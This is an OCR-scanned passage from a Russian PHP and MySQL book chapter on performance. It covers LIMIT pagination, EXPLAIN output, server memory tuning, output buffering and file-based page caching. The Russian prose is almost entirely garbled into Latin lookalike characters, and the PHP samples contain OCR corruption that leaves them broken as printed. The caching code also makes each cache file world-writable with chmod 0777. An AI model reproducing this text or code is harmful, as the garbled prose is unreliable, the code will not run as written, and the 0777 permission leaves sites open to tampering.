ux Mano, Haubonee 3pPeKTUBHLIM BapHaHTOM OylIeT MCMONbL30OBAHHE HMHIEKCA.
Ho ecnu Hy)XHO HaliTH MyXuHH, To 3dpekTuBHOCTL HMHAeKca nanaer. Konuyecr-
BO BBIOMpaeMbIX 3aMUCEH CIMILUKOM BEJIMKO, M LIS KOKIOH W3 HUX OOXOIUTH Jie-
PEBO MHIEKCA NOBOJILHO HakjianHo. HamHoro npoule npockaHupoBaTh Beio Tab-
JIMILY, YTO BRITIOJHUTCS HAMHOTO GBICTpee, MOTOMY 4YTO CEepBEpY AOCTATOYHO MO
OTHOMY pasy MpoYMTaTh BCe JIMCThA HHXKHEro ypoBHS MHIeKca, 6e3 HeobXomumo-
CTH MHOTOpPa30BOro YTEHHsI BCEX YPOBHEN.
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4.3.3. Boibopka Heo6xoauMbIX faHHbIX

ITpu pabote ¢ Gazamu JaHHBIX Mbl PEryJIsSipHO MULIEM 3aIPOChl HA BLIGOPKY AaH-
Hbix. KonuyecTso BbIOMpaeMbIX AaHHBIX MOXeT ObITh oueHb Gonbuinm. [MpocToit
npuMep — nomuckosas cucrema. [lonpobyiite Ha caiite yahoo.com uau goo-
gle.com 3anycTuth nouck no ciosy "PHP". Mue nouckorag cucrema coobuuna,
4yro HaitneHo okono 690 000 000 sanuceit, 1 mpu 3TOM Ha 06paboTKy 3amnpoca
noHano6uiock Tonbko 0,05 cekynn. B peanbHocTH BhIGOpKa TAKMX DaHHBIX Jaxe
Ha caMOoM ObICTPOM KOMIMbiOTEpPE OYAET MPOMCXOAMTH HAMHOIO HOJblIE, TAK OT-
Kyla Xe Takas BbiCOKas ckopocTb? Her, penieHHe HaXoAWTCs HE B MOUIHBIX
KOMITbIOTEpPaX KOMIaHWu google.com, si IpOCTO yBEpeH, YTO BCe Kpoercs B Ipa-
BHJILHOCTH HaMMCaHUsl 3anpoca.

Honyerum, yto Kaxknas crpoka B 6ase manHeix Google 3anumaer scero 100 Gaiir.
B peaibHOCTH, KOHEYHO Xe, pasMep CTPOKH HAMHOTrO GolblUe, HO MBI OrpaHmu-
YUMCH TAKUM MATEHBKUM YHCJIOM, W €ro BIOJHE XBAaTHT, 4ToObl MOPA3suTh Halle
Boobpaxenue. Ecnu ymHoxuts uneno 100 Ha konuyecrso ctpok (690 maH), To
MOJYYMTCSI, YTO pesynbrar 3anpoca Oyner 3aHumarh 69 I6aiit. Jaxe ecau cepsep
Ga3bl JAHHBIX M CUEHAPUIl HAXOMATCS HA ONHOM KOMIBIOTEPE, MOJYYEHHE TAKHMX
NAaHHBIX OTHHMET He OIMH NeCSITOK CeKyHI. A ecnu 910 pasHbie ceppepbt? [Mpu
COBEPILIEHHO HE 3aHATOM M CaMOM MOILHOM KaHajle TepeKayka TAKoro KoJH4YecT-
Ba JAHHBIX OT cepBepa Gasbl JAHHBIX MO CepBepa CO CHEHAapHMeM OTHHMET elle
Gosibllle BpeMEHH,

Kak e Torma nmonyuaercs takas Oombluasi ckopocth? OTobpaxaTh Moib30BaTelNio
BeCh pesy/bTaT MOMCKA CIMUIKOM HAKJIaJHO, T. K. HUKTO He 3aXO4YeT CKaYuBaTh
cTpaHuity paamepom 69 I'GaiiT, moatoMy pesynbrar pa3buBaercsi Ha CTPAHMIIBI, Ha
KaXzoit U3 KoTopbix otobpaxaercs ot 10 no 30 pesynsratoB (3aBMCHT OT Npo-
rpammucra). Mcxonsi U3 3Toro, noaydeHUe pesynbTaTa MOXHO pasOMThL Ha aBa
sTana;

1. Onpeaenuts ofiliee KONUYECTBO 3aMKUCEH, YAOBIETBOPAIONIAX KPUTEPHSIM MO~
ucka. Takoif 3anpoc UMeeT BHIL

SELECT Count (*)

FROM TableName

WHERE Kpurepum noucka

Peaynbrarom 3anpoca OyaeT BCEro AUiIb OAHO YHCIO, LIS XPAaHEHUs KOTOPOTO

xBaTuT U 4 Gaiit. Takoe uucno cepsep 6a3bl JAHHBIX CMOXET MIHOBEHHO Iie-
penarsb CLEHapHIo.

2. Bribpath nanubie mnst GpopMHpPOBaHMST TOABKO OAHON cTpaHuubl. Ha Havanb-
HOM 3Talle 3TO MepBas cTpaHula, U HyXHO Bbibparh nepssie N 3anuceil. Ecnu
cTpaHulla Bropas, To Beibupaem s3amucu N+1 go N+N u tak ganee. Dro Ha-
MHOro yiaoOHee u GeicTpee MO ABYM MpUYUHAM:

e KOIJa MpH CKAHMPOBAaHWM Oasbl MAHHBIX B MOMCKE HYXHEIX 3amuceil cep-
Bep HaxomMT mepBbie N CTPOK, OH MMpepbIBaeT MOMCK W BO3BPAILAET pe-
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syaeTar KaeHty. JanbHeitluee ckaHupopaHite HeccMBIC/IEHHO, TOTOMY UTO
KIHeHTY Bosblie 3anucedt U He HYXKHO,

e 10 ceTH nepenaercss Tonbko N X (pazmep CTpPOKHM AaHHBIX) OailT, 4TO Ha-
MHOIO MEHbllIe, YeM pa3Mep CTPOKH, YMHOXEeHHbIH Ha 69 MIH.
B cinyuae camoli pacnpoctpaHeHHol 6asbl gaHHbix MySQL juis peanusauniu
BCETO BbILIECKA3AHHOTO HYKHO HUCMONB30BATh OMEpaTop LIMIT:
SELECT *
FROM TableName
LIMIT ¥, N

rne Y — cTpoka, HauuHas ¢ KOTOpoit, HY)KHO BO3BpallaTh peayabrarT, a N — Ko-
nuyectBo ctpok. Hampumep, ytoObl monyunuts cTpoku ¢ 11 mo 25, HyXHO Bhi-
MOJIHUTB 3a11POC:

SELECT *
FROM TableName
LIMIT 11, 15

Ecnn HeobxoauMMo nonyuyuTh Bee cTpoku, HauuHag ¢ 50, To B Kauectse N HyxXHO
yKasatb 4ucio —1:

SELECT *
FROM TableName
LIMIT 50, -1

Beerna nonyuaiite oT cepsepa 043 NAHHBIX TOJBKO caMble HEOBXOAMMbIE HAHHBIC.
Haxke 3anpoc NUIIHEH KOMOHKM NOTpebyeT MONMOJHUTENBHBIX 3aTPaT He TOJNBKO
OT CepBepa, HO M OT ceTeBoro o6opyIOBAHUA U KITHEHTA.

4.3.4. Nsyvaiite cuctemy

51 mocrapajcs nath TONABKO o0LIME cBeeHWs] 00 ONTUMM3ALMU, HO JaXe eciau
MCIOJIb30BATh TONLKO WX, BBl 3HAYMTENBLHO MOBLICUTE CKOPOCTh PaboThl MPHIO-
XeHuit ¢ 6azaMm naHHbeIX. Bojee TOHKYI0 HACTpOUKY YIacTesl MPOM3BECTH, TOMLKO
snas cucremy. Hanpumep, CYB/I (Oracle nnn MS SQL Server) moxer cobuparn
CTATUCTHYECKYIO MH(opMaUKI0 O 3anpocax, Koropasi MO3BOJMT ONTHMM3ATOPY
BbIOpaTh NEHCTBUTENbHO NpaBUIIbHBIN M ObICTPBIH MeTOd BbIGOPKM AAHHBIX.
Ho cratucTuka MOXET M HaBpeanTb, MO3TOMY KENaTelbHO YMEThb YIPaBJATh
npoleccom cbopa nHdopmanu.

PaccMOTpeHHEBIE MeTolbl ONTHMU3ALMK paboTaioT TPAaKTHYECKHM BO BCEX COBpE-
MeHHbIX CYBJl. Bonee TOHKYI0 HACTPOHKY HYXHO HAYMHATH TOJILKO TIOCJE TOTO,
KaK Bbl y3Haere, Kak cucreMa d ontuMusarop obpabarhiBaoT 3ampoc, W uTo
MOXHO CHeNAaTh UTS MOBbIIeHUs 2(hhHEeKTUHBHOCTH.

B HekoTopeIX cucTeMax yrpasneHusi faHHbIMK (Hanpumep, MS SQL Server) ecrs crie-
LHAIBHBIE YTWINTBI, KOTOpPbIE MO3BOISIIOT MNPOAHATN3NPOBATH BLIOPAHHbIH ONTHMMU3A~
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TopoMm IUTaH BoironHeHnsi. B MS SQL Server MoXHO BU3Y&ILHO MPOKOHTPOIHMPOBATD
BCE 1AM W MOJYYUTh 1NoApobHYIo nHdopMalnio no kaxiomy mmary (puc. 4.1.). Ilpo-
AHATM3UPOBAB 3TY MH(MOPMALIMIO, MOXHO MPHHATEL TIPABUILHOE PEILIEHHE [10 MOBbILLIE-
HHUIO NPOU3BOIMTENLHOCTH CepBepa U CKOPOCTH BBITIOHEHUS 3arpoca.

5 SOL Query Analyzer
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Puc. 4.1. MNpocmoTp nnaHa BeINOAHEHWS 3anpoca ¢ nomolusio Query Analyzer

Y MySQL wuer yno6Horo rpaguueckoro unrepdeiica (He cuurasi pazpaboTok cro-

POHHUX MMPOM3BOINMTE/IEeH), HO KOMaHIA aHanu3a 3anpocoB ectb. YTobbl y3HATB,

Kak Ga3a maHHBIX BBIMOJHSET 3anpoc, HeoOXOAMMO Mepel orepaTopoM SELECT

MOCTABUTh EXPLAIN, HalpuMep:

EXPLATN SELECT *

FROM TableName

B peaynbrate BHI YBUAWTE TAGMUIY, COCTOALLYIO U3 CNEAYIOMIUX TOMeif:

O table — uMs TabiHLbI, y4acTBOBABLUEH B 3ampoce;

O type — THN O6BLEAUHEHHs B 3anpoce. DTo rojie o4eHb BAXHO, MO3TOMY 00-
paiailte BHUMaHue Ha coiepialleecsl 3[ech 3HAYeHHE. A B KayecTse colep-
KUMOTO TOJISA MOXHO YBHAETH ClIeAylolLee:

e system — CHCTeMHOE OOBeIMHEHME MCIOJIb3yeTcsl, Korna B TabiuLe ToNb-
KO O/IHA CTPOKa,
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® eqg ref — OJIHA CTPOKA YKa3aHHOW TabnMIbl COOTBETCTBYET HECKOJBKUM
CTPOKaM CBSI3aHHON TaGuLIbL;

e ref — HECKOJBKO CTPOK TabiKLbLI MOIYT COOTBETCTBOBATL TPYINNE CTPOK M3
cBst3aHHOM Tabnuubl. Takoe 3HAYESHHE HEXENATebHO, HO BIIOJHE pealbHo,
eciIH WCMOJIb3yeTess He YHUKANbHBIN MHAEKe, rae ecth HeGoJbllloe KoMnYe-
CTBO MOBTOPEHMIT;

® range — JUISl BbIBOJIAa pe3yibTata OyAeT WCNONb30BATHLCH ONpEeNeSeHHbI
MATIA30H 3HAYEHMIT;

e ALL — JUIA K&XIOW CTPOKH M3 CBA3aHHOIT Tabiuusl Byner npocMarpuBark-
Csl BCSI TEKYLLAS tabnnua. Takoe ObIBAET B TEX cnyuasx, Koriaa HeT WHIASK-
COB, MOJIE3HLIX 3aMPOCY;

* index — JUISl KaQXIOW CTPOKM CBA3AHHOI Tabaniel ByIeT mpocMaTpHBaTLCS
BCsl TEKYILLasn Tabjauua, HO NPU ITOM MCIONbLIYETCs! HHIEKC,

O possible_keys — HWHIEKChI, KOTOPHIE MOTYT HCIOJbL30BATHECH B 3anmpoce.
Ecau MHOEKCOB HET, TO MX BBEAEHWE — OOMH M3 PEaIbHBIX CIIOCODOB MOBbI-
LIEHHS MPOU3BOANTEIBHOCTH,

O key — eciM B NoJjie possible_keys YKa3bIBAIOTCS BO3MOXHBIE MHAEKCHI, TO
B IAHHOM T0JIe MOKa3aH TOT WHAEKC, KOTOPBI UCITOJIb30BaNICS;

0O key_len — JUIMHA KJIIOYA;

O ref — noJie WIH YCAOBHE M3 CEKIHM WHERE, KOTOPOE MCIONL30BAIOCH B MH-
NIEKCE;

0 rows — KOJMYECTBO MPOCMATPHBAEMBIX CTPOK JUISl MOJYYEHHs pe3y/ibTara;
O extra — NOMOAHUTENBbHAA MWH(DOPMALINUS.

Mbi Takke He paccMarpuBaIM TIOBBIUEHNE MPOM3BOAMTENBHOCTH 33 CUET U3ME-
HEeHUs annaparHoit yactu. BroT Meroj Tpebyer GonblIMX 3aTpar, TaK Y4TO ¢ Ha-
paiyBaHusl anmaparHoil yacTH HAYMHAIOT TONBKO HEOMBITHBIE MPOrPAMMMCTEL
Xakepsb! Bcerga HAYMHAIOT ¢ U3MEHEHHS NPOrpaMMHOI YacTH, a MOTOM yxe 00-
pallaT BHUMAHWE HA XKeje3o.

4.3.5. OnTumu3sauus cepsepa

Ecnu nocsie onTuMusaiuy 6a3sl JaHHLIX, TAGJIMIL M 3aPOCOB Bbl HE YAOBIETBO-
PEHBl PE3YJNbTATOM, HYXHO MEPEXOAHTL K ONTHMM3ALMK caMoro cepsepa. “Yto
MOXHO HAacTpouTh y cepBepa? Yalie Bcero 3aech He TAK yXK M MHOIMO HACTPoOekK H,
B OCHOBHOM, OHHM 3aKJIIOMAlOTCAd B ONTHUMHBALKMKU MAMATH, HMCIOAb3YEMOM JUIsl
K3ILUMpPOBAHMUSA [JaHHBEIX. ¥ cepBepa MO/UKHO OBITh CTONBKO NaMmsTH, HToObI 6asza
JOAHHBIX TTIOMECTUJIACH B Hee IMOJIHOCTHIO.

[Ipu BeIOOpe pasmepa K3lia HYXKHO YYUThIBATH Takke norpebHocty camoit OC u
apyrux cnyx6. Ecnm Gase JaHHBIX OTJATh BCIO MaMSITh, TO HUMEro HE OCTAHETCS
OC s xpaHeHHsi cBoMX OubamoTeKk M pecypcoB. A Bellb €cTh €lUe M Apyrue
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cnyx0sl. Hampumep, ovens yacto MySQL Haxomutesi chusMyecky Ha TOM Xe
cepsepe, uro ¥ uHtepnperarop PHP, u um oboum HyxHa namsTe Mg XpaHeHHs
CBOMX PECYpCOoB.

Cepsep 6a3nl JAHHBIX MOXKET COAEPKATh JOCTATOYHO MHOIO PasinyHbIX MOAYJIEH.
He ctouT 3arpyxaTb B namsiTh TO, YTO He GydeT WMCMONL30BATHCA, MMOITOMY BCe
JurHee HeobxoaumMo oTKIOHATE. TToMuMo ocBOBOXIEHUS NMAMATH OTKIIOYEHMW-
eM JIMIIHEro BBl MoBkiaeTe 6esonacHocTs. [JOMycTUM, YTO B ONMpPENeTeHHOM MO-
nyne HaifaeHa ownbka. Eciu BBl 9TOT MOIyIb OTKITIOUWIM 32 HEHANOBHOCTBIO, TO
Ballla CHCTEMa OCTaeTcsl HeYS3BUMOM, M Xakep He CMOXET BOCIOJb30BATLCS daH-
Hoit olmbKoi Ha cepsepe.

4.4. Ontumusauus PHP

Mgl paccMOTpenTH TEOpPHIO ONTHMM3ALNK, MOTOBOPHIIM O TOM, KaK MOXHO YCKO-
puTL paborty Gasbl AaHHBIX, A TENEPb HAM NPEJCTOMT Y3HATH, KAK e MOXKHO on-
TumMuanposars caM PHP-kon. Korzpa el Hauiu cnaboe mecrto cueteMsl 1 ybenm-
JIUCh, YTO Mcnonb3yercs Hanbonee ahdeKTUBHBIN aITOPUTM, MOXHO EPEXOAHTh
K onTUMH3aunu Koaa 1 PHP-uncrpykumii.

4.4.1. KawmposaHue BbiBOaa

B s3bike PHP ectb HeckKonbKo MHTEpecHBIX (YHKIMIA, ¢ MOMOIIBIO KOTOPBIX
MOXHO BKJIIOYUTbH OydepH3alnio BbIBOAA M MOBLICUTb CKOPOCTh paboTsl clieHa-
pust. [ns Hawama K3WMPOBaHUA HEOGXOAMMO BbI3BaTh (DYHKIMIO ob_start(),
a B KOHIIE BBbI3BATh (PYHKIMIO ob_end_flush(). Bece onepaiuu BuiBooa AaHHBIX
(HanpuMep, print()) MeXIy BbI30BaMHU 3TUX ABYX (YHKUWI OyayT COXpaHATb
naHHble B 6ydepe, a He HanpasaTh KiHeHTy. HenocpencrseHHas ornpaska JaH-
HBIX KIWEHTY MPOU30MIeT TOJbKO I0c/ie BbI30BA (YHKIMK ob_end_flush().
Ecnn dyHKuMsa ob_end flush() He Oymer BbI3BaHa, TO maHHbie GyayT Hampasie-
HBI CepBepy M0 3aBeplieHUH BbIMOTHEHUS CLEHAPUS.

Creaylollinii mpuMep MOKa3bIBaeT, KaK UCMoNb30BaTh YHKIUNWM K3ILUPOBAHWUA:

<7php
ob_start();

// BHBOO IaHHEIX

ob_end flush();

7>

Bo Bpem# BHIMOIHEHUs CLIEHAPHS BbI MOXeTe KOHTPOJIUPOBAThH cocTosiHue Gyde-
pa. [l 3TOro MOXXHO BOCMO/Ib30BATECS OIHOMN M3 ABYX (DYHKLIMIA:

(0 ob_get_contents () — QYHKLUUs BO3BpallaeT coaepxumoe Oydepa;

0 ob_get_length() — (QYHKUMSA BO3Bpallaer pasmep BbinenenHoro Gydepa.
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Bydepusainio MOXKHO YCKOPHTE ele Golnbllie, ecii BKIIOYMThH CXKATHE JAHHEBIX.
Jns 3TOr0 HY)KHO BBINOJHUTE (PYHKUMIO ob_start(), a B KayecTse napamerpa
nepenarb CTpoOKy ob_gzhandler:

<?php
ob_start ('cbh_gzhandler'});

// BuBON HAHHEIX
>

B arom cnyyae manHble GyayT nepesaBathesl KINEHTY B CKATOM C NOMOIUIBIO gZip
Buae. Ecnu Gpaysep KineHTa He NMOMUIEPXKHBACT CXKaTHsl, TO JaHHbie OyayT nepe-
nasarecsi B oTKpbiToM Buze. Jdaxe eciau 50% nonbiopareneit GyayT nony4ars cxa-
Thle JaHHbIE, Bbl C3KOHOMMTE JOCTATOMHYIO [I0J110 TpadMKa, a 3HAUWT, U pecyp-
coB. KoneuHo, mwisi ceppepa 310 JHILHUE PACXOMLI TIPOLIECCOPHOTO BPEMEHU, BEIb
[PUXOINTCS BBIMONHATL JIMUIHKE OMepaluy Mo CXaTHio. 3aTo CeTeBbe KaAHAIbI
cMmoryT obpabarsiBaTh Gosblliee KOJIMYECTBO 3alpocoB, a 3HA4YuT, U ObicTpee, Ec-
TV BAlll KaHAJ CBA3M 3arpyxeH Gosee yem Ha 70%, HeobXOAUMO MOAYMATH O TOM,
yrobbl BKITIOYHTE Bycdhepusalnio.

4.4.2. KalumpoBaHue cTpaHul

Ecnn sawm cueHapum vcnonbayioT wis dpopmuposanns Web-cTpaHuisl 3anpocst
K focTatoyHo Go/blIoi 6a3e JaHHBIX M TPH 3TOM M3MeHeHus1 B Haze Npoucxousr
PEIKo, TO MOXHO K3LLWPOBaTh Liesible cTpaHMlbl. Kak olueHUTh, HACKONLKO pel-
KO MeHsieTcst 6asa JaHHbIX? [Uisi 3TOTO HYKHO CPaBHMTb YAcTOTYy M3MEHEHWil ¢
KosnuyecTBOM OOpalIeHUit, 1 ecliu Mexay M3MeHeHMsiMu rmpoucxoaut Gosiee 100
obpauleHHil K BalieMy caiTy, TO K3LHPOBAHUE PEeabHO MTOMOXET.

Kawmmnposanue npoucxoaur crenyomuM obpasom. INpu nepsom obpaiieHud win
rocje BHeCeHUs] M3MEHEHMIT B 6a3y JaHHBIX cTpaHuUa OPMUPYETCS ¢ MOMOLLELIO
cueHapus, a 3aTeM COXpaHseTcst Ha JIMCKe cepBepa B CMNELMaIbHOM KaTalore.
[lpu nocnenyiotem obpailleHn K 9TOH Xe cTpaHMIle clieHApuii cHavaza npose-
pser, cyllecTByeT Jin ¢aiin co crpanuueit. Ecnu na, To cueHapuii sarpyxaer ero.
B pesynbrate He HY)XXHO Oyner saHoBo (opmuposats Web-cTpaHuily, yMeHbIINT-
csl KonuuecTso obpauieHuit K 6aze HAHHBIX, M 3HAYMTENBHO CHHU3UTCS HArpyska
Ha cepsep.

Hnst kawuposatus crpanuil y PHP wer rotoBoro u adekTHBHOrO MHCTPYMEH-
T4, J1a €T0 U HEe MOXeT BbiTh, MOTOMY YTO YHUBEPCAILHOTO PEIIEHHS HE CylIecT-
syer. [IporpaMMucTy Bce TPUXOMMTCH CO3MABATh CAMOCTOATENBHO, W B HAHHOM
pasjiesie HaMm TIPEACTOMT PACCMOTPETh BO3MOXHBIN BAPUAHT pelieHHst nmpobnemsl
K3IHPOBAHUA.

Hasaiite momymaeM, Kak oOBeMHUTbL K3UIMPOBAaHWE BLIBOAA, KOTOPOE Mbl pac-
CMaTpUBaIH B paszdese 4.4.1, w KdumMpoBaHue crpaHuil. Ecin oGbeIMHHUTH 3TH
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[IBe TEXHOJIOTHW W HEMHOIO NOAYMaTh, TO MPUMEP pealu3aluMni KIWHPOBAHUSA
CTPAHUIL CTAHET OYEeBUAHBIM. Mos peanusauus nokasaHa B nMcTuHre 4.1.

[/ GyHRUMA YTEHUS KoWA
function ReadCache ($CacheName)
{

if (file_exists("cache/$CacheName.htm"))

{
require("cache/$CacheName.htm") ;
print ("<HR>Crpauuua =zarpyxeHa us3 xama");
return 1;

}

else

return 0;

// OyHKUMA SanuMcKM Kama
function WriteCache($CacheName, $CacheData)
{

Scf = @fopen("cache/$CacheName.htm", "w")

or die ("Can't write cache");

fputs ($cf, $CacheData);

fclose ($cf);

@chmod ("cache/$CacheName.htm", 0777);

// OCHOBHOW KON CTDaHMLE
if (ReadCache("MainPage")==1)
exit;

ob_start();

print ("<CENTER><B>I'naBHas cTpaHuua</B></CENTER>");
print ("<P>310 TecroBas crpanmua);
WriteCache("MainPage", ob_get_contents());
ob_end_flush() ;

>
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OcHOBHOM KO cleHapusi HAYMHAETCs C 3ampoca 3arpy3ky CTPaHMLBI M3 KIIUd.
Jlnsi 9Toro B JIMCTUHIE cosjgaHa (YHKLUMA ReadCache(). DyHKUMM nepepaercs
ums aitna, KOTopsIil HY;KHO 3arpy3uTh, BEAb B K311 MOTYT ObITH COXpaHEHBI ice
Web-ctpanuiel. B gaHHOM ciyuae mojpasymesaeMm, YTO cueHapuii dopMupyer
IJIABHYIO CTPAHKMIYY € MMEHEM MainPage, H MMEHHO 3TO 3HAYEHHE MBI Mepefaem
B Ka4ecTBE MapameTpa.

Hagsaitte Tenepb MOCMOTPUM, YTO MPOMUCXOAMT B (PYHKUMM ReadCache(). 3Aech
NPOU3BOAMTCS [MPOBEPKA cylllecTBOBaHMS (aiina ¢ ykasaHHbIM WmeHeM. Ecau
TaKoii daitn cymecTsyer, TO OH MNOMKIIOYAGTCS ¢ NOMOIIBIO (PYHKUUM require ()
W Bo3spautaercs sHadenue 1. [Lis HarAsiAHOCTH s €llle BBIBOXKY Ha 3KpaH coob-
LIEHME O TOM, YTO 3Ta cTpaHula Oblna B3sATa U3 K3LUa.

Bepremca Kk ocHoBHoMy koay. Ecan ¢yHKuMs ReadCache() Bo3spatuina |, 1o
BbIITOJIHEHUE clieHapus npepbisaercs. Her cMbicna Tpatuts Bpemst Ha dopMupo-
BaHWE CTPAHMW LI, €c/iM oHa ObUTa B34TA U3 KILIA.

Hanee ppimonHsieM GyHKUMIO ob_start (), 4ToObl HAYaTh K3LIHPOBAHKWE BbIBOAA,
M HaunHaeM ¢opmupoBarh crTpaHuuly. [lepen TeM Kak BbI3BaTh (HYHKUHIO
ob_end_flush(), HEOOXOAMMO COXPAHUTL CONEPKUMOE CreHepHpoBaHHOMN cTpa-
HHIIBI, KOTOPYIO MOXHO MOJIYYUTEL C MOMOIUBIO ob_get_contents (). [l coxpa-
HeHMs K3IIa B HaweM cleHapuM cosfaHa (yHKUMS Writecache(). Eit HyxHO
nepesatbh UMsl CTPAHMLIBI, 1O KOTOpoMY ompenensiercsi uMms daina kawa. Bropoi
mapaMeTp — JaHHbie, Kotopsie Oyayr sanucausl B daii. B Hawem ciyyae 3o
pe3ynsTaT (QYHKUUU ob_get_contents ().

IMocne cosnanus daityia uameHsioTes ero npasa nocryna Ha 0777, uro coorperer-
BYET MpaBaM, NMpH KOTOPLIX JA0cTyn K dailny paspeiieH Bcem:
@chmod ("cache/$CacheName.htm", 0777) ;

3arpysute ¢ nomoursio Gpaysepa 9ToT cueHapuii U nonpolyiiTe o6HOBUTHL CTpa-
Huuy. INMocne oGHOBIEHMsI Bbl YBMIMTE B KOHLE CTPAHMLBI COODLIEHHE O TOM,
YTO CTPAHULA B3STA U3 K3LUA. -

Ecnu BBl pelliiTe MCIO/b30BaTh 3TY 3ATOTOBKY B CBOMX NPOEKTAX, TO MEPEHECUTE
(yHKIINM ReadCache() M WriteCache() B OTHEJIBbHBIA MOAYIbL M MOAKIIOMAliTe
C MOMOLUbIO (PYHKUMH include (), YTOOLI OAMH U TOT X€ KO/ HE pasMHOXAaTb BO
BCEX CLIEHAPUSIX.

3aroroBka meicTBUTENBHO ynoOHas. Eciau HyXHO co3farh elle OQHY CTpaHuily
caifta, HanpUMep, CTPaHMIY KOHTAKTOB, TO €€ KO AOMKEH BHIMJISAETh CIeNyio-
lwumM obpasom:
<?

include (' func.php');

// OCHOBHOM KON CTpPaHMLE

if (ReadCache("Contacts")==1)

exit;

ob_start();
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print ("<CENTER><B>KoHTarTe</B></CENTER>") ;

print ("<P>Hrobu cBAzaThCcA co MHOW: horrific@vr-online.ru");
WriteCache("Contacts”, ob_get_contents()):

ob_end_f£flush() ;

>

B Hauane cuenapusi nomkmouaercst caiin func.php, B KOTOpPOM AOJUKHBI ObITH
peann3oBaHbl JYHKUHHU ReadCache() M WriteCache().

Yrobet Baws cueHapuit Oui1 GesonacHbiM, He AABAHTE MONABLIOBATENIO BO3ZMOXHO-
CTH MNOBIMATE HA MMH NeEpenaBaeMoro 3HadyeHuss B (DYHKUMM ReadCache ()
U WriteCache (). MHave xakep cmoxer uutarh (aiinbl M repesanuchiBaTh MX.
B Hamem npumepe MM nepenaercs Kectko, 6e3 kakux-nubo nepeMeHHbIXx n 6e3
pacuwiupenus. Pacmimpenue daiina u nyrs nobasnsiiores nporpaMmmHo. Ecau Ha-
3BaHWE CTPAHMIIBL €IIE MOXKHO BBIHECTH B MEPEMEHHYID M TO3BOJIUTHL MOJIL30BA-
TEN0 BAMSATH HA HEe, TO MyTh W paclUMpeHHe HO/DKHBI A00aBAATHCA K HUMEHH
¢daiina nporpammuo. [lepemaya ronHoro mnytd B (DYHKUHMH ReadCachel()
U WriteCache() AOMXHA ObITh 3ampelueHa. [isi 3Toro MOXHO BOCMONB30BATHCSH
PeryJisipHbIM BHIDAXKEHHEM W BbIPE3aTh U3 Mapamerpa Bce CHMBOJIBL /.

C nomoutsio kama Web-cTpanuil Bbl peajibHO MOBLICUTE CKOPOCTh paboThI clie-
Hapusl, HO MOTEPAETe BO3IMOXHOCThL CO3IaTh CaiiT, HANpaBJeHHBI Ha MONb3OBa-
TeNlsl, T. €. TAKOM, HA KOTOPOM KaX[blif IMOJIb30BaTe/Ib MOXET cO03/1aBaTh cobCT-
BeHHOe TMpejcTapieHue caiita. EciM Bbl XOTHTE OpraHHW30BaTh BO3MOXKHOCTD
BolOopa pacuBeTKH caiita, HacTPOHKW oTobpaxeHus onpeleleHHBIX Yacteil noju
ronb3oBaresia (HanpuMmep, B 3aBUCHMOCTH OT MPEANOYTEHMS MOAL30BATENA, TO-
3BOJINTH €MY BbIGHPATh HYXKHBIE KaTEropMu HOBOCTEH Uisi OTOOPaXKEHUsT Ha r1aB-
HOH CTpaHHUIIE), TO peain30BaTh MOAOOHOE C MOMOIIbLIO K3UIMPOBAHHUS 10CTATOY-
HO CIIOXHO, a ecjiu | yaactes, To adpexr Oyaer MUHUMANEH, TaK YTO OBYMHKA
BBIJICJIKU HE CTOMT.

4.4.3. bbicTpblie pyHKL N

B GonbuinHeTBE cliy4aeB B JIIOGOM sI3bIKE MPOrpaMMUPOBAHHMA €CTh HECKOJIBKO
BapuaHToB peweHus sanayu, 1 PHP 1yt He apnsiercsi uekimouenneM. B manHom
pasnesie HaM MpPeACTOUT YBUIETh, KAK HEKOTOPBIE DEIEHHS MOIYT MOBBICHTH
CKOPOCTb BBITOJIHEHHSI CLIEHAPHS.

B paszdene 2.2 mbl noctaTo4HO NOAPOOHO MO3HAKOMMIIMCH C MOAKIIOYeHHeM (aii-
JIOB ¢ MoMollbi0 (PYHKUWHA include() M reguire()., Mpl NpHuBeIH H0CTATOUYHO
XOpolupe MpUMEPHl TOFO, KAK MOXKHO OBICTPO cO3naBaTh 1WAONOHBI calTOB, KOTO-
pele BriocaeacTBuu Bynyr ynobHbl B conpopoxaeHuu. Bee xopoluo, HO 3TH
GYHKUHN NpeaHASHAYSHB! JUIS MOAKITIOUEHMS KO, TIO3TOMY MHTEPIPeTaTop Mnpu
sarpyske uuer B daittax PHP-koa u seimonusier ero. 910 AeHCTBUTENBHO OTHH-
MaeT JIOCTATOYHO MHOTO BPEMEHH.
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Eciu noaxmovaemsiit daiin comepxutr tonbko HTML-kom, To WCnojnb3oBaTh
(yHKUMK include() U reguire() HeaddexktusHo. HamHoro Grictpee orpabora-
er QyHKuHs readfile(). Ectb Tonbko oana npobiema — Ha HayalbHOM 3TanNe
pa3paboTK¥ HMKOTAA He 3Haewb, nmoHapoburcsi sm PHP-kox B noakmoyaemom
¢daiine. VUIMEHHO NO3TOMY 5 WCMOAL3YID Ha 3Tane pa3paboTkH (QYHKUMIO
include(), a mocje 3aBeplueHmust paboThl, €CIM €CTh BO3ZMOXHOCTh, 3aMEHSI0 ce
Ha (pyHKUMIO readfile().

Mbl oYeHb YacTO UCHONB3YeM JUisl BBIBOAA MEepeMEeHHBIX PYHKUMIO print (). IMpu
3TOM CaMO UMSA nepemeunoﬁ 3AKII0YAeTCs B IBOMHbIE KABBIMKH:
print ("$name") ;

Ecnu teker, nepenaBaeMbiif nepeMeHHON $name, 3aKJIIOYAETCS B [IBOIHBIE Ka-
BBIYKH, TO WHTEPNPETATOP AHATU3UPYET NapaMeTp B MOMCKAX UMEH IepeMEeHHbIX.
Ecnn takoe ums HalizeHo, To oHo Oymer 3aMeHEHO Ha 3HAYeHHUe MMepeMEeHHOM.
310 oyeHb yHoOHO € TOYKM 3pEeHMS] MPOrpaMMUPOBAHMS, HO WHTEPNpPEeTaTopy
PHP TtpeGylorcsi nuuiHMe HakKnagHble pacxonasl Ha aHanu3. HamHoro Gsictpee
Oyaer BBINOMHATLCS CIEAYIOUINN Kom!

print($name) ;

3neck HeT IBOWHBLIX KaBblYeK, W He OymeT JMUILUHUX HAKNIAOHBLIX PacxoloB, a 3Ha-
YWT, JAHHBIA Ko OymeT BhimonHsATbCs ObicTpee. Monywaercsi, uTo B cLieHapMsX

Jlyyire Bcero BooOlIe OTKA3aThCsl OT ABOMHBIX KaBbIYEK, & MCIONb30BaTh TOJNLKO
OJMHAaPHBLIE.

A ecny HY)XHO BBIBECTH HA 5KpaH TEKCT M nepemeHHyio? MoXHo pasbuts BeIBOJ
Ha OIBE KOMaHIbI:

print ('MmMs pasBHo: ')}

print ($name) ;

